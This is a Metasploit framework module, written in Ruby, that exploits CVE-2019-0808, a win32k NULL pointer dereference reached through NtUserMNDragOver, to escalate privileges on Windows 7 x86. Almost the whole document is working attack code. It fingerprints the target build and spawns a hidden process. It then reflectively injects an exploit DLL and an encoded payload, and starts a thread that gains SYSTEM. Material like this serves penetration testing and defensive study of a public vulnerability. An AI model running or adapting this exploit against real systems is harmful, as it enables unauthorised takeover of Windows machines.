Microsoft Windows NtUserMNDragOver Local Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/priv'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Windows NtUserMNDragOver Local Privilege Elevation',  
'Description' => %q{  
This module exploits a NULL pointer dereference vulnerability in  
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call.  
  
The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()  
function does not effectively check the validity of the tagPOPUPMENU  
objects it processes before passing them on to MNGetpItemFromIndex(),  
where the NULL pointer dereference will occur.  
  
This module has been tested against Windows 7 x86 SP0 and SP1. Offsets  
within the solution may need to be adjusted to work with other versions  
of Windows, such as Windows Server 2008.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Clément Lecigne', # discovery  
'Grant Willcox', # exploit  
'timwr' # msf module  
],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows 7 x86', { 'Arch' => ARCH_X86 }]  
],  
'SideEffects' => [SCREEN_EFFECTS],  
'References' =>  
[  
['CVE', '2019-0808'],  
['URL', 'https://github.com/exodusintel/CVE-2019-0808'],  
['URL', 'https://github.com/ze0r/cve-2019-0808-poc'],  
['URL', 'http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html'],  
['URL', 'https://blog.exodusintel.com/2019/05/17/windows-within-windows/'],  
],  
'DisclosureDate' => 'Mar 12 2019',  
'DefaultTarget' => 0  
)  
)  
register_options([  
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])  
])  
end  
  
def setup_process  
process_name = datastore['PROCESS']  
begin  
print_status("Launching #{process_name} to host the exploit...")  
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)  
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe  
end  
  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Windows Build Number = #{build_num}")  
# see https://docs.microsoft.com/en-us/windows/release-information/  
unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601)  
print_error('The exploit only supports Windows 7 versions 7600 and 7601')  
return CheckCode::Safe  
end  
  
path = expand_path('%WINDIR%\\system32\\win32k.sys')  
major, minor, build, revision, brand = file_version(path)  
return CheckCode::Safe if revision >= 24387  
  
CheckCode::Appears  
end  
  
def exploit  
super  
  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] != ARCH_X86  
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')  
end  
  
process = setup_process  
library_data = exploit_data('CVE-2019-0808', 'exploit.dll')  
print_status("Injecting exploit into #{process.pid} ...")  
exploit_mem, offset = inject_dll_data_into_process(process, library_data)  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
encoded_payload = payload.encoded  
payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
end  
end  
`